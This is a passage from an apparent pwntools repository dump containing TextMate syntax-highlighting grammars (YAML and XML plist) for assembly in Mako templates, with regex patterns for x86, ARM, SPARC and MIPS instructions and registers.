r|maskmovdqu|maskmovq|maxpd|maxps|maxsd|maxss|mfence|minpd|minps|minsd|minss|monitor|mov|movapd|movaps|movbe|movd|movq|movddup|movdqa|movdqu|movq2q|movhlps|movhpd|movhps|movlhps|movlpd|movlps|movmskpd|movmskps|movntdqa|movntdq|movnti|movntpd|movntps|movntq|movq|movq2dq|movs|movsb|movsw|movsd|movsq|movsd|movshdup|movsldup|movss|movsx|movsxd|movupd|movups|movzx|mpsadbw|mul|mulpd|mulps|mulsd|mulss|mwait|neg|not|or|orpd|orps|out|outs|outsb|outsw|outsd|pabsb|pabsw|pabsd|packsswb|packssdw|packusdw|packuswbpaddb|paddw|paddd|paddq|paddsb|paddsw|paddusb|paddusw|palignr|pand|pandn|pause|pavgb|pavgw|pblendvb|pblendw|pclmulqdq|pcmpeqb|pcmpeqw|pcmpeqd|pcmpeqq|pcmpestri|pcmpestrm|pcmptb|pcmptgw|pcmpgtd|pcmpgtq|pcmpistri|pcmpisrm|pdep|pext|pextrb|pextrd|pextrq|pextrw|phaddw|phaddd|phaddsw|phinposuw|phsubw|phsubd|phsubsw|pinsrb|pinsrd|pinsrq|pinsrw|pmaddubsw|pmadddwd|pmaxsb|pmaxsd|pmaxsw|pmaxsw|pmaxub|pmaxud|pmaxuw|pminsb|pminsd|pminsw|pminub|pminud|pminuw|pmovmskb|pmovsx|pmovzx|pmuldq|pmulhrsw|pmulhuw|pmulhw|pmulld|pmullw|pmuludw|pop|popa|popad|popcnt|popf|popfd|popfq|por|prefetch|psadbw|pshufb|pshufd|pshufhw|pshuflw|pshufw|psignb|psignw|psignd|pslldq|psllw|pslld|psllq|psraw|psrad|psrldq|psrlw|psrld|psrlq|psubb|psubw|psubd|psubq|psubsb|psubsw|psubusb|psubusw|test|ptest|punpckhbw|punpckhwd|punpckhdq|punpckhddq|punpcklbw|punpcklwd|punpckldq|punpckldqd|push|pusha|pushad|pushf|pushfd|pxor|prcl|rcr|rol|ror|rcpps|rcpss|rdfsbase|rdgsbase|rdmsr|rdpmc|rdrand|rdtsc|rdtscp|rep|repe|repz|repne|repnz|roundpd|roundps|roundsd|roundss|rsm|rsqrps|rsqrtss|sahf|sal|sar|shl|shr|sbb|scas|scasb|scasw|scasd|set(n?e|ge?|ae?|le?|be?|n?o|n?z)|sfence|sgdt|shld|shrd|shufpd|shufps|sidt|sldt|smsw|sqrtpd|sqrtps|sqrtsd|sqrtss|stc|std|stmxcsr|stos|stosb|stosw|stosd|stosq|str|sub|subpd|subps|subsd|subss|swapgs|syscall|sysenter|sysexit|sysret|teset|ucomisd|ucomiss|ud2|unpckhpd|unpckhps|unpcklpd|unpcklps|vbroadcast|vcvtph2ps|vcvtp2sph|verr|verw|vextractf128|vinsertf128|vmaskmov|vpermilpd|vpermilps|vperm2f128|vtestpd|vzeroall|vzeroupper|wait|fwait|wbinvd|wrfsbase|wrgsbase|wrmsr|xadd|xchg|xgetbv|xlat|xlatb|xor|xorpd|xorps|xrstor|xsave|xsaveopt|xsetbv|lzcnt|extrq|insertq|movntsd|movntss|vfmaddpd|vfmaddps|vfmaddsd|vfmaddss|vfmaddsubbpd|vfmaddsubps|vfmsubaddpd|vfmsubaddps|vfmsubpd|vfmsubps|vfmsubsd|vfnmaddpd|vfnmaddps|vfnmaddsd|vfnmaddss|vfnmsubpd|vfnmusbps|vfnmusbsd|vfnmusbss|vbroadcastss|vbroadcastsd|vbroadcastf128|vmaskmovps|vmaskmovpd|cvt|xor|cli|sti|hlt|nop|lock|wait|enter|leave|ret|loop(n?e|n?z)?|call|j(mp|n?e|n?ge?|n?ae?|le?|be?|n?o|n?z|n?c|n?p|n?b))\\b\n- comment: ARM instruction\n  name: support.function.mnemonic.arm.arithmetic\n  match: >\n    (?x)\\b((?i)\n    ( (bf(c|i)|(u|s)bfx|(u|s)xta?(h|b)?)\n      | (v(add|cvt|sub|mov|trn|cmp|div|qdmulh|mrs|mul|ld1|qadd|qshrun|st[1234]|addw|mull|mlal|rshrn|swp|qmovun)|qmovun)(\\.([isup]?8|[isupf]?16|[isuf]?32|[isu]?64))*\n      | (mul|mla|mull|smlabb)\n      | (mov(w|t))\n      | rev(8|16)?\n      | (pld|adr|adrl|vswp)\n      | bkpt\n    )?(?-i))?\\b\n- comment: ARM instruction\n  name: support.function.mnemonic.arm.memory\n  match: >\n    (?x)\\b((?i)(\n            swi|svc|wfi|\n            dmb | clrex | dsb | isb |\n            v(ldr|str|push|pop) |\n            (push|pop) |\n            (st|ld)(\n                p |\n                    r(ex|s?(h|b)|d)? |\n                    m(\n                            (f|e)(d|a) |\n                            (d|i)(b|a)\n                    )?\n            ) |\n            b(l|x|lx|lr|r)? |\n            (i|e)?ret|\n            b\\.(eq|ne|hs|cs|lo|cc|mi|pl|vs|vc|hi|ls|ge|lt|gt|le|al|nv)+ |\n            (c|t)?bn?z|\n    )+(ne|eq|cs|hs|cc|lo|mi|pl|vs|vc|hi|ls|lt|le|gt|ge|al)?(?-i))\\b\n- comment: ARM instruction\n  name: meta.preprocessor.c.include\n  match: >\n    \\b((?i)(def(b|w|s)|equ|(include|get)(\\s+([a-zA-Z_]+[0-9a-zA-Z_]*|[0-9]+[a-zA-Z_]+[0-9a-zA-Z_]*?)\\.s)?)?(?-i))\\b\n- comment: ARM instruction\n  name: comment.nop\n  match: >\n    \\b((?i)nop(ne|eq|cs|hs|cc|lo|mi|pl|vs|vc|hi|ls|lt|le|gt|ge|al)?(?-i))?\\b\n- comment: Comment Block\n  begin: /\\*\n  end: \\*/\n  name: comment.block\n- comment: Directive\n  name: keyword.control.directive\n  match: \\.(?i)(globl|global|macro|endm|purgem|if|elseif|else|endif|section|text|arm|align|balign|irp|rept|endr|req|unreq|error|short|func|endfunc|hidden|type|fpu|arch|code|altmacro|object_arch|word|int|string)(?-i)\\b\n- comment: ARM register\n  name: storage.other.register.arm\n  match: \\b((?i)\\$?([xw][0-9]|[xw]1[0-9]||[xw]2[0-9]|[wx]30|wzr|xzr|wsp|fpsr|fpcr|[rcp]1[0-5]|[rcp][0-9]|a[1-4]|v[1-8]|sl|sb|fp|ip|sp|lr|(c|s)psr(_c)?|pc|[sd]3[0-1]|[sd][12][0-9]|[sd][0-9]|fpsid|fpscr|fpexc|q3[0-1]|q2[0-9]|q1[0-9]|q[0-9]|APSR_nzcv|sy)!?(?-i))?\\b\n- comment: x86 register\n  name: storage.other.register.x86\n  match: \\b((?i)(al|ah|ax|eax|rax|bl|bh|bx|ebx|rbx|cl|ch|cx|ecx|rcx|dl|dh|dx|edx|rdx|sil|si|esi|rsi|di|di|edi|rdi|bpl|bp|ebp|rbp|sp|esp|rsp|cs|ds|ss|es|fs|gs|ip|eip|rip|flags|eflags|rflags|r8|r9|r10|r11|r12|r13|r14|r15|r8d|r9d|r10d|r11d|r12d|r13d|r14d|r15d|r8w|r9w|r10w|r11w|r12w|r13w|r14w|r15w|r8l|r9l|r10l|r11l|r12l|r13l|r14l|r15l|st0|st1|st2|st3|st4|st5|st6|st7|mm0|mm1|mm2|mm3|mm4|mm5|mm6|mm7|xmm0|xmm1|xmm2|xmm3|xmm4|xmm5|xmm6|xmm7|xmm8|xmm9|xmm10|xmm11|xmm12|xmm13|xmm14|xmm15|xmm16|xmm17|xmm18|xmm19|xmm20|xmm21|xmm22|xmm23|xmm24|xmm25|xmm26|xmm27|xmm28|xmm29|xmm30|xmm31|ymm0|ymm1|ymm2|ymm3|ymm4|ymm5|ymm6|ymm7|ymm8|ymm9|ymm10|ymm11|ymm12|ymm13|ymm14|ymm15|ymm16|ymm17|ymm18|ymm19|ymm20|ymm21|ymm22|ymm23|ymm24|ymm25|ymm26|ymm27|ymm28|ymm29|ymm30|ymm31|zmm0|zmm1|zmm2|zmm3|zmm4|zmm5|zmm6|zmm7|zmm8|zmm9|zmm10|zmm11|zmm12|zmm13|zmm14|zmm15|zmm16|zmm17|zmm18|zmm19|zmm20|zmm21|zmm22|zmm23|zmm24|zmm25|zmm26|zmm27|zmm28|zmm29|zmm30|zmm31|cr0|cr2|cr3|cr4|gdtr|ldtr|idtr|dr0|dr1|dr2|dr3|dr4|dr5|dr6|dr7|msr)!?(?-i))?\\b\n- comment: SPARC register\n  name: storage.other.register.sparc\n  match: \\b((?i)\\$?([gloi][0-9])!?(?-i))?\\b\n- comment: MIPS register\n  name: storage.other.register.mips\n  match: \\b((?i)\\$?(r[0-3][0-9]|v[0-2]|a[0-4]|t[0-8]|s[0-9]|t([89]|10|k[0-2]))!?(?-i))?\\b\n- comment: Numeric Hex\n  name: constant.numeric.hex\n  match: (\\b|\\s+)(\\#)?-?(0x|&amp;)[0-9a-fA-F_]+\\b\n- comment: Numeric Literal\n  name: constant.numeric.literal\n  match: (\\b|\\s+)\\#-?[0-9a-zA-Z_]+\\b\n- comment: Numeric Decimal\n  name: constant.numeric.dec\n  match: (\\b|\\s+)[0-9]+\\b\n- comment: Label\n  name: entity.name.tag\n  match: ([\\w${}]+[:])\n- comment: Inline Python\n  name: pwntools.raw.block.python\n  begin: (<%\\s)\n  end: (%>)\n  beginCaptures:\n    '1': {name: 'keyword.control'}\n  endCaptures:\n    '1': {name: 'keyword.control'}\n  patterns:\n    - {include: source.python}\n- comment: Inline Docstring\n  begin: (<%(\\S+)>)\n  end: (</%(\\2)>)\n  beginCaptures:\n    '1': {name: 'keyword.control'}\n  endCaptures:\n    '1': {name: 'keyword.control'}\n  patterns:\n    - {include: comment.block}\n- comment: Mako Tag\n  name: source.mako.tag\n  begin: (<%\\w+\\s)\n  end: (/>)\n  beginCaptures:\n    '1': {name: 'keyword.control'}\n  endCaptures:\n    '1': {name: 'keyword.control'}\n  patterns:\n    - {include: comment.block}\n- comment: Mako Substitution\n  name: source.mako.expression\n  begin: (\\${)\n  end: (})\n  beginCaptures:\n    '1': {name: 'keyword.control'}\n  endCaptures:\n    '1': {name: 'keyword.control'}\n  patterns:\n    - {include: source.python}\n- comment: Mako Comment\n  match: (^##(.*)$)\n  name: comment.line.mako\n- comment: Mako Directive\n  begin: ^\\s*(%)(\\s*((endfor)|(endif)|(endwhile)))?\n  end: $\n  beginCaptures:\n    '1': {name: 'keyword.control'}\n    '2': {name: 'keyword.control'}\n  patterns:\n    - {include: source.python}\n  name: source.doc.python.mako.controlline\n\n    #   <key>begin</key>\n    #   <string>^(#)</string>\n    #   <key>beginCaptures</key>\n    #   <dict>\n    #     <key>1</key>\n    #     <dict>\n    #       <key>name</key>\n    #       <string>keyword.control</string>\n    #     </dict>\n    #   </dict>\n    #   <key>end</key>\n    #   <string>$</string>\n    #   <key>name</key>\n    #   <string>source.python.mako.line</string>\n    #   <key>patterns</key>\n    #   <array>\n    #     <dict>\n    #       <key>include</key>\n    #       <string>comment.block</string>\n    #     </dict>\n    #   </array>\n    # </dict>\n\n      # <key>begin</key>\n      # <string>^\\s*(%)(\\s*((endfor)|(endif)|(endwhile)))?</string>\n      # <key>beginCaptures</key>\n      # <dict>\n      #   <key>1</key>\n      #   <dict>\n      #     <key>name</key>\n      #     <string>keyword.control</string>\n      #   </dict>\n      #   <key>2</key>\n      #   <dict>\n      #     <key>name</key>\n      #     <string>keyword.control</string>\n      #   </dict>\n      # </dict>\n\n\n      # <key>begin</key>\n      # <string>(&lt;%\\s)</string>\n      # <key>captures</key>\n      # <dict>\n      #   <key>1</key>\n      #   <dict>\n      #     <key>name</key>\n      #     <string>keyword.control</string>\n      #   </dict>\n      # </dict>\n      # <key>end</key>\n      # <string>(%&gt;)</string>\n      # <key>name</key>\n      # <string>source.mako.substitution</string>\n      # <key>patterns</key>\n      # <array>\n      #   <dict>\n      #     <key>include</key>\n      #     <string>source.python</string>\n      #   </dict>\n      # </array>\n\n  # match: \"(\n  #           (bf(c|i)|(u|s)bfx|(u|s)xta?(h|b)?) |\n  #           (v(add|cvt|sub|mov|trn|cmp|div|qdmulh|mrs|mul|ld1|qadd|qshrun|st[1234]|addw|mull|mlal|rshrn|swp|qmovun)|qmovun)(\\.([isup]?8|[isupf]?16|[isuf]?32|[isu]?64))* |\n  #           (and|m(rs|sr)|eor|sub|rsb|add|adc|sbc|rsc|tst|teq|cmp|cmn|orr|mov|bic|mvn |\n  #                   (neg) |\n  #                   (lsr|lsl|ror|asr)\n  #           )s? |\n  #           (mul|mla|mull|smlabb) |\n  #           (mov(w|t)) |\n  #           rev(8|16)? |\n  #           (pld|adr|adrl|vswp)\n  #   )\n"
  },
  {
    "path": "extra/textmate/pwntools.tmLanguage",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n\t<key>fileTypes</key>\n\t<array>\n\t\t<string>.asm</string>\n\t</array>\n\t<key>name</key>\n\t<string>Pwntools Mako ASM</string>\n\t<key>patterns</key>\n\t<array>\n\t\t<dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>x86 instruction</string>\n\t\t\t<key>match</key>\n\t\t\t<string>\\b(?i)(v)?(aaa|aad|aam|aas|adc|add|addpd|addps|addsd|addss|addsubpd|addsubps|aesdec|aesdeclast|aesenc|aesenclast|aesimc|aeskeygenassist|and|andpd|andps|andnpd|andnps|arpl|blendpd|bmi|blendps|blendvpd|blendvps|bound|bsf|bsr|bswap|bt|btc|btr|bts|cbw|cwde|cdqe|clc|cld|cflush|clts|cmc|cmov(n?e|ge?|ae?|le?|be?|n?o|n?z)|cmp|cmppd|cmpps|cmps|cnpsb|cmpsw|cmpsd|cmpsq|cmpss|cmpxchg|cmpxchg8b|cmpxchg16b|comisd|comiss|cpuid|crc32|cvtdq2pd|cvtdq2ps|cvtpd2dq|cvtpd2pi|cvtpd2ps|cvtpi2pd|cvtpi2ps|cvtps2dq|cvtps2pd|cvtps2pi|cvtsd2si|cvtsd2ss|cvts2sd|cvtsi2ss|cvtss2sd|cvtss2si|cvttpd2dq|cvtpd2pi|cvttps2dq|cvttps2pi|cvttps2dq|cvttps2pi|cvttsd2si|cvttss2si|cwd|cdq|cqo|daa|das|dec|div|divpd|divps|divsd|divss|dppd|dpps|emms|enter|extractps|f2xm1|fabs|fadd|faddp|fiadd|fbld|fbstp|fchs|fclex|fnclex|fcmov(n?e|ge?|ae?|le?|be?|n?o|n?z)|fcom|fcmop|fcompp|fcomi|fcomip|fucomi|fucomip|fcos|fdecstp|fdiv|fdivp|fidiv|fdivr|fdivrp|fidivr|ffree|ficom|ficomp|fild|fincstp|finit|fnint|fist|fistp|fisttp|fld|fld1|fldl2t|fldl2e|fldpi|fldlg2|fldln2|fldz|fldcw|fldenv|fmul|fmulp|fimul|fnop|fpatan|fprem|fprem1|fptan|frndint|frstor|fsave|fnsave|fscale|fsin|fsincos|fsqrt|fst|fstp|fstcw|fnstcw|fstenv|fnstenv|fsts(w?)|fnstsw|fsub|fsubp|fisub|fsubr|fsubrp|fisubr|ftst|fucom|fucomp|fucompp|fxam|fxch|fxrstor|fxsave|fxtract|fyl2x|fyl2xp1|haddpd|haddps|husbpd|hsubps|idiv|imul|in|inc|ins|insb|insw|insd|insertps|int|into|invd|invplg|invpcid|iret|iretd|iretq|lahf|lar|lddqu|ldmxcsr|lds|les|lfs|lgs|lss|lea|leave|lfence|lgdt|lidt|llgdt|lmsw|lock|lods|lodsb|lodsw|lodsd|lodsq|lsl|ltr|maskmovdqu|maskmovq|maxpd|maxps|maxsd|maxss|mfence|minpd|minps|minsd|minss|monitor|mov|movapd|movaps|movbe|movd|movq|movddup|movdqa|movdqu|movq2q|movhlps|movhpd|movhps|movlhps|movlpd|movlps|movmskpd|movmskps|movntdqa|movntdq|movnti|movntpd|movntps|movntq|movq|movq2dq|movs|movsb|movsw|movsd|movsq|movsd|movshdup|movsldup|movss|movsx|movsxd|movupd|movups|movzx|mpsadbw|mul|mulpd|mulps|mulsd|mulss|mwait|neg|not|or|orpd|orps|out|outs|outsb|outsw|outsd|pabsb|pabsw|pabsd|packsswb|packssdw|packusdw|packuswbpaddb|paddw|paddd|paddq|paddsb|paddsw|paddusb|paddusw|palignr|pand|pandn|pause|pavgb|pavgw|pblendvb|pblendw|pclmulqdq|pcmpeqb|pcmpeqw|pcmpeqd|pcmpeqq|pcmpestri|pcmpestrm|pcmptb|pcmptgw|pcmpgtd|pcmpgtq|pcmpistri|pcmpisrm|pdep|pext|pextrb|pextrd|pextrq|pextrw|phaddw|phaddd|phaddsw|phinposuw|phsubw|phsubd|phsubsw|pinsrb|pinsrd|pinsrq|pinsrw|pmaddubsw|pmadddwd|pmaxsb|pmaxsd|pmaxsw|pmaxsw|pmaxub|pmaxud|pmaxuw|pminsb|pminsd|pminsw|pminub|pminud|pminuw|pmovmskb|pmovsx|pmovzx|pmuldq|pmulhrsw|pmulhuw|pmulhw|pmulld|pmullw|pmuludw|pop|popa|popad|popcnt|popf|popfd|popfq|por|prefetch|psadbw|pshufb|pshufd|pshufhw|pshuflw|pshufw|psignb|psignw|psignd|pslldq|psllw|pslld|psllq|psraw|psrad|psrldq|psrlw|psrld|psrlq|psubb|psubw|psubd|psubq|psubsb|psubsw|psubusb|psubusw|test|ptest|punpckhbw|punpckhwd|punpckhdq|punpckhddq|punpcklbw|punpcklwd|punpckldq|punpckldqd|push|pusha|pushad|pushf|pushfd|pxor|prcl|rcr|rol|ror|rcpps|rcpss|rdfsbase|rdgsbase|rdmsr|rdpmc|rdrand|rdtsc|rdtscp|rep|repe|repz|repne|repnz|roundpd|roundps|roundsd|roundss|rsm|rsqrps|rsqrtss|sahf|sal|sar|shl|shr|sbb|scas|scasb|scasw|scasd|set(n?e|ge?|ae?|le?|be?|n?o|n?z)|sfence|sgdt|shld|shrd|shufpd|shufps|sidt|sldt|smsw|sqrtpd|sqrtps|sqrtsd|sqrtss|stc|std|stmxcsr|stos|stosb|stosw|stosd|stosq|str|sub|subpd|subps|subsd|subss|swapgs|syscall|sysenter|sysexit|sysret|teset|ucomisd|ucomiss|ud2|unpckhpd|unpckhps|unpcklpd|unpcklps|vbroadcast|vcvtph2ps|vcvtp2sph|verr|verw|vextractf128|vinsertf128|vmaskmov|vpermilpd|vpermilps|vperm2f128|vtestpd|vzeroall|vzeroupper|wait|fwait|wbinvd|wrfsbase|wrgsbase|wrmsr|xadd|xchg|xgetbv|xlat|xlatb|xor|xorpd|xorps|xrstor|xsave|xsaveopt|xsetbv|lzcnt|extrq|insertq|movntsd|movntss|vfmaddpd|vfmaddps|vfmaddsd|vfmaddss|vfmaddsubbpd|vfmaddsubps|vfmsubaddpd|vfmsubaddps|vfmsubpd|vfmsubps|vfmsubsd|vfnmaddpd|vfnmaddps|vfnmaddsd|vfnmaddss|vfnmsubpd|vfnmusbps|vfnmusbsd|vfnmusbss|vbroadcastss|vbroadcastsd|vbroadcastf128|vmaskmovps|vmaskmovpd|cvt|xor|cli|sti|hlt|nop|lock|wait|enter|leave|ret|loop(n?e|n?z)?|call|j(mp|n?e|n?ge?|n?ae?|le?|be?|n?o|n?z|n?c|n?p|n?b))\\b</string>\n\t\t\t<key>name</key>\n\t\t\t<string>support.function.mnemonic.x86.all</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>ARM instruction</string>\n\t\t\t<key>match</key>\n\t\t\t<string>(?x)\\b((?i) ( (bf(c|i)|(u|s)bfx|(u|s)xta?(h|b)?)\n  | (v(add|cvt|sub|mov|trn|cmp|div|qdmulh|mrs|mul|ld1|qadd|qshrun|st[1234]|addw|mull|mlal|rshrn|swp|qmovun)|qmovun)(\\.([isup]?8|[isupf]?16|[isuf]?32|[isu]?64))*\n  | (mul|mla|mull|smlabb)\n  | (mov(w|t))\n  | rev(8|16)?\n  | (pld|adr|adrl|vswp)\n  | bkpt\n)?(?-i))?\\b\n</string>\n\t\t\t<key>name</key>\n\t\t\t<string>support.function.mnemonic.arm.arithmetic</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>ARM instruction</string>\n\t\t\t<key>match</key>\n\t\t\t<string>(?x)\\b((?i)(\n        swi|svc|wfi|\n        dmb | clrex | dsb | isb |\n        v(ldr|str|push|pop) |\n        (push|pop) |\n        (st|ld)(\n            p |\n                r(ex|s?(h|b)|d)? |\n                m(\n                        (f|e)(d|a) |\n                        (d|i)(b|a)\n                )?\n        ) |\n        b(l|x|lx|lr|r)? |\n        (i|e)?ret|\n        b\\.(eq|ne|hs|cs|lo|cc|mi|pl|vs|vc|hi|ls|ge|lt|gt|le|al|nv)+ |\n        (c|t)?bn?z|\n)+(ne|eq|cs|hs|cc|lo|mi|pl|vs|vc|hi|ls|lt|le|gt|ge|al)?(?-i))\\b\n</string>\n\t\t\t<key>name</key>\n\t\t\t<string>support.function.mnemonic.arm.memory</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>ARM instruction</string>\n\t\t\t<key>match</key>\n\t\t\t<string>\\b((?i)(def(b|w|s)|equ|(include|get)(\\s+([a-zA-Z_]+[0-9a-zA-Z_]*|[0-9]+[a-zA-Z_]+[0-9a-zA-Z_]*?)\\.s)?)?(?-i))\\b\n</string>\n\t\t\t<key>name</key>\n\t\t\t<string>meta.preprocessor.c.include</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>ARM instruction</string>\n\t\t\t<key>match</key>\n\t\t\t<string>\\b((?i)nop(ne|eq|cs|hs|cc|lo|mi|pl|vs|vc|hi|ls|lt|le|gt|ge|al)?(?-i))?\\b\n</string>\n\t\t\t<key>name</key>\n\t\t\t<string>comment.nop</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>begin</key>\n\t\t\t<string>/\\*</string>\n\t\t\t<key>comment</key>\n\t\t\t<string>Comment Block</string>\n\t\t\t<key>end</key>\n\t\t\t<string>\\*/</string>\n\t\t\t<key>name</key>\n\t\t\t<string>comment.block</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>Directive</string>\n\t\t\t<key>match</key>\n\t\t\t<string>\\.(?i)(globl|global|macro|endm|purgem|if|elseif|else|endif|section|text|arm|align|balign|irp|rept|endr|req|unreq|error|short|func|endfunc|hidden|type|fpu|arch|code|altmacro|object_arch|word|int|string)(?-i)\\b</string>\n\t\t\t<key>name</key>\n\t\t\t<string>keyword.control.directive</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>ARM register</string>\n\t\t\t<key>match</key>\n\t\t\t<string>\\b((?i)\\$?([xw][0-9]|[xw]1[0-9]||[xw]2[0-9]|[wx]30|wzr|xzr|wsp|fpsr|fpcr|[rcp]1[0-5]|[rcp][0-9]|a[1-4]|v[1-8]|sl|sb|fp|ip|sp|lr|(c|s)psr(_c)?|pc|[sd]3[0-1]|[sd][12][0-9]|[sd][0-9]|fpsid|fpscr|fpexc|q3[0-1]|q2[0-9]|q1[0-9]|q[0-9]|APSR_nzcv|sy)!?(?-i))?\\b</string>\n\t\t\t<key>name</key>\n\t\t\t<string>storage.other.register.arm</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>x86 register</string>\n\t\t\t<key>match</key>\n\t\t\t<string>\\b((?i)(al|ah|ax|eax|rax|bl|bh|bx|ebx|rbx|cl|ch|cx|ecx|rcx|dl|dh|dx|edx|rdx|sil|si|esi|rsi|di|di|edi|rdi|bpl|bp|ebp|rbp|sp|esp|rsp|cs|ds|ss|es|fs|gs|ip|eip|rip|flags|eflags|rflags|r8|r9|r10|r11|r12|r13|r14|r15|r8d|r9d|r10d|r11d|r12d|r13d|r14d|r15d|r8w|r9w|r10w|r11w|r12w|r13w|r14w|r15w|r8l|r9l|r10l|r11l|r12l|r13l|r14l|r15l|st0|st1|st2|st3|st4|st5|st6|st7|mm0|mm1|mm2|mm3|mm4|mm5|mm6|mm7|xmm0|xmm1|xmm2|xmm3|xmm4|xmm5|xmm6|xmm7|xmm8|xmm9|xmm10|xmm11|xmm12|xmm13|xmm14|xmm15|xmm16|xmm17|xmm18|xmm19|xmm20|xmm21|xmm22|xmm23|xmm24|xmm25|xmm26|xmm27|xmm28|xmm29|xmm30|xmm31|ymm0|ymm1|ymm2|ymm3|ymm4|ymm5|ymm6|ymm7|ymm8|ymm9|ymm10|ymm11|ymm12|ymm13|ymm14|ymm15|ymm16|ymm17|ymm18|ymm19|ymm20|ymm21|ymm22|ymm23|ymm24|ymm25|ymm26|ymm27|ymm28|ymm29|ymm30|ymm31|zmm0|zmm1|zmm2|zmm3|zmm4|zmm5|zmm6|zmm7|zmm8|zmm9|zmm10|zmm11|zmm12|zmm13|zmm14|zmm15|zmm16|zmm17|zmm18|zmm19|zmm20|zmm21|zmm22|zmm23|zmm24|zmm25|zmm26|zmm27|zmm28|zmm29|zmm30|zmm31|cr0|cr2|cr3|cr4|gdtr|ldtr|idtr|dr0|dr1|dr2|dr3|dr4|dr5|dr6|dr7|msr)!?(?-i))?\\b</string>\n\t\t\t<key>name</key>\n\t\t\t<string>storage.other.register.x86</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>SPARC register</string>\n\t\t\t<key>match</key>\n\t\t\t<string>\\b((?i)\\$?([gloi][0-9])!?(?-i))?\\b</string>\n\t\t\t<key>name</key>\n\t\t\t<string>storage.other.register.sparc</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>MIPS register</string>\n\t\t\t<key>match</key>\n\t\t\t<string>\\b((?i)\\$?(r[0-3][0-9]|v[0-2]|a[0-4]|t[0-8]|s[0-9]|t([89]|10|k[0-2]))!?(?-i))?\\b</string>\n\t\t\t<key>name</key>\n\t\t\t<string>storage.other.register.mips</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>Numeric Hex</string>\n\t\t\t<key>match</key>\n\t\t\t<string>(\\b|\\s+)(\\#)?-?(0x|&amp;amp;)[0-9a-fA-F_]+\\b</string>\n\t\t\t<key>name</key>\n\t\t\t<string>constant.numeric.hex</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>Numeric Literal</string>\n\t\t\t<key>match</key>\n\t\t\t<string>(\\b|\\s+)\\#-?[0-9a-zA-Z_]+\\b</string>\n\t\t\t<key>name</key>\n\t\t\t<string>constant.numeric.literal</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>Numeric Decimal</string>\n\t\t\t<key>match</key>\n\t\t\t<string>(\\b|\\s+)[0-9]+\\b</string>\n\t\t\t<key>name</key>\n\t\t\t<string>constant.numeric.dec</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>Label</string>\n\t\t\t<key>match</key>\n\t\t\t<string>([\\w${}]+[:])</string>\n\t\t\t<key>name</key>\n\t\t\t<string>entity.name.tag</string>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>begin</key>\n\t\t\t<string>(&lt;%\\s)</string>\n\t\t\t<key>beginCaptures</key>\n\t\t\t<dict>\n\t\t\t\t<key>1</key>\n\t\t\t\t<dict>\n\t\t\t\t\t<key>name</key>\n\t\t\t\t\t<string>keyword.control</string>\n\t\t\t\t</dict>\n\t\t\t</dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>Inline Python</string>\n\t\t\t<key>end</key>\n\t\t\t<string>(%&gt;)</string>\n\t\t\t<key>endCaptures</key>\n\t\t\t<dict>\n\t\t\t\t<key>1</key>\n\t\t\t\t<dict>\n\t\t\t\t\t<key>name</key>\n\t\t\t\t\t<string>keyword.control</string>\n\t\t\t\t</dict>\n\t\t\t</dict>\n\t\t\t<key>name</key>\n\t\t\t<string>pwntools.raw.block.python</string>\n\t\t\t<key>patterns</key>\n\t\t\t<array>\n\t\t\t\t<dict>\n\t\t\t\t\t<key>include</key>\n\t\t\t\t\t<string>source.python</string>\n\t\t\t\t</dict>\n\t\t\t</array>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>begin</key>\n\t\t\t<string>(&lt;%(\\S+)&gt;)</string>\n\t\t\t<key>beginCaptures</key>\n\t\t\t<dict>\n\t\t\t\t<key>1</key>\n\t\t\t\t<dict>\n\t\t\t\t\t<key>name</key>\n\t\t\t\t\t<string>keyword.control</string>\n\t\t\t\t</dict>\n\t\t\t</dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>Inline Docstring</string>\n\t\t\t<key>end</key>\n\t\t\t<string>(&lt;/%(\\2)&gt;)</string>\n\t\t\t<key>endCaptures</key>\n\t\t\t<dict>\n\t\t\t\t<key>1</key>\n\t\t\t\t<dict>\n\t\t\t\t\t<key>name</key>\n\t\t\t\t\t<string>keyword.control</string>\n\t\t\t\t</dict>\n\t\t\t</dict>\n\t\t\t<key>patterns</key>\n\t\t\t<array>\n\t\t\t\t<dict>\n\t\t\t\t\t<key>include</key>\n\t\t\t\t\t<string>comment.block</string>\n\t\t\t\t</dict>\n\t\t\t</array>\n\t\t</dict>\n\t\t<dict>\n\t\t\t<key>begin</key>\n\t\t\t<string>(&lt;%\\w+\\s)</string>\n\t\t\t<key>beginCaptures</key>\n\t\t\t<dict>\n\t\t\t\t<key>1</key>\n\t\t\t\t<dict>\n\t\t\t\t\t<key>name</key>\n\t\t\t\t\t<string>keyword.control</string>\n\t\t\t\t</dict>\n\t\t\t</dict>\n\t\t\t<key>comment</key>\n\t\t\t<string>Mako 